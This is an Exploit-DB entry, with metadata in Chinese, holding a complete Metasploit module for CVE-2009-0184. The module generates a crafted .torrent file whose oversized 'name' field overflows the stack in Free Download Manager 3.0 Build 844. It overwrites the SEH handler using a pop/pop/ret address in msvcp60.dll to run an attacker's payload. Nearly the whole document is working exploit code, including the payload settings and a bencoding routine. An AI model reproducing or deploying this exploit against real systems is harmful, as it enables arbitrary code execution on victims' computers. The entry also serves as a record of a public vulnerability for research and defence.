标题: Free Download Manager 3.0 Build 844 - Torrent Parsing Buffer Overflow (Metasploit) EDB-ID: 16634 CVE: 2009-0184 类型: LOCAL 平台: WINDOWS 发布日期: 2010-09-25 漏洞利用脚本: ##
# $Id: fdm_torrent.rb 10477 2010-09-25 11:59:02Z mc $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::FILEFORMAT
 include Msf::Exploit::Remote::Seh

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Free Download Manager Torrent Parsing Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in Free Download Manager
    3.0 Build 844. Arbitrary code execution could occur when parsing a
    specially crafted torrent file.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'SkD <skdrat[at]hotmail.com>',
     'jduck',
    ],
   'Version'        => '$Revision: 10477 $',
   'References'     =>
    [
     [ 'CVE', '2009-0184' ],
     [ 'OSVDB', '54033' ],
     [ 'BID', '33555' ],
     [ 'URL', 'http://freedownload.svn.sourceforge.net/viewvc/freedownload/FDM/vmsBtDownloadManager.cpp?r1=11&r2=18' ],
     [ 'URL', 'http://freedownload.svn.sourceforge.net/viewvc/freedownload/FDM/Bittorrent/fdmbtsupp/vmsBtFileImpl.cpp?r1=9&r2=18' ],
     [ 'URL', 'http://secunia.com/secunia_research/2009-5/' ],
     [ 'URL', 'http://downloads.securityfocus.com/vulnerabilities/exploits/33555-SkD.pl' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'seh',
     'DisablePayloadHandler' => 'true',
    },
   'Payload'        =>
    {
     'Space'    => 1024,
     'DisableNops'   =>  'True',
     'BadChars' => "\x00\x2c\x5c",
     'StackAdjustment' => -3500,
    },
   'Platform' => 'win',
   'Targets'        =>
    [
     [ 'Free Download Manager 3.0 (Build 844)',
      {
       'Ret' => 0x76051372 # pop/pop/ret @ msvcp60.dll
      }
     ],
    ],
   'Privileged'     => false,
   'DisclosureDate' => 'Feb 2 2009',
   'DefaultTarget'  => 0))

  register_options(
   [
    OptString.new('FILENAME', [ true, 'The file name.',  'msf.torrent']),
   ], self.class)
 end

 def exploit

  bof = rand_text_alphanumeric(10004) + generate_seh_payload(target.ret)
  # hit the end of the stack...
  bof << rand_text(1000) * 50

  len = rand(10*1024*1024)
  info_hash = {
   'length' => len,
   'name' => bof,
   'piece length' => len + rand(262144 - len),
   'pieces' => rand_text(20),
  }

  ann_hash = {
   'info' => info_hash,
  }

  encoded = bencode_hash(ann_hash)

  print_status("Creating '#{datastore['FILENAME']}' file ...")

  file_create(encoded)

 end

 # bencoding functions:
 #
 # http://wiki.theory.org/BitTorrentSpecification
 #
 def bencode_string(str)
  ret = "%d:" % str.length
  ret << str
  return ret
 end

 def bencode_int(int)
  ret = "i%de" % int
  return ret
 end

 def bencode_item(item)
  case item
  when Fixnum
   return bencode_int(item)
  when String
   return bencode_string(item)
  when Hash
   return bencode_hash(item)
  else
   throw("unsupported bencode data type! " + item.testzt)
  end
 end

 def bencode_list(list)
  ret = "l"
  list.each do |el|
   ret << bencode_item(el)
  end
  ret << "e"
  return ret
 end

 def bencode_hash(hash)
  ret = "d"
  hash.keys.sort.each do |k|
   ret << bencode_item(k)
   ret << bencode_item(hash[k])
  end
  ret << "e"
  return ret
 end

end URL: https://www.exploit-db.com/exploits/16634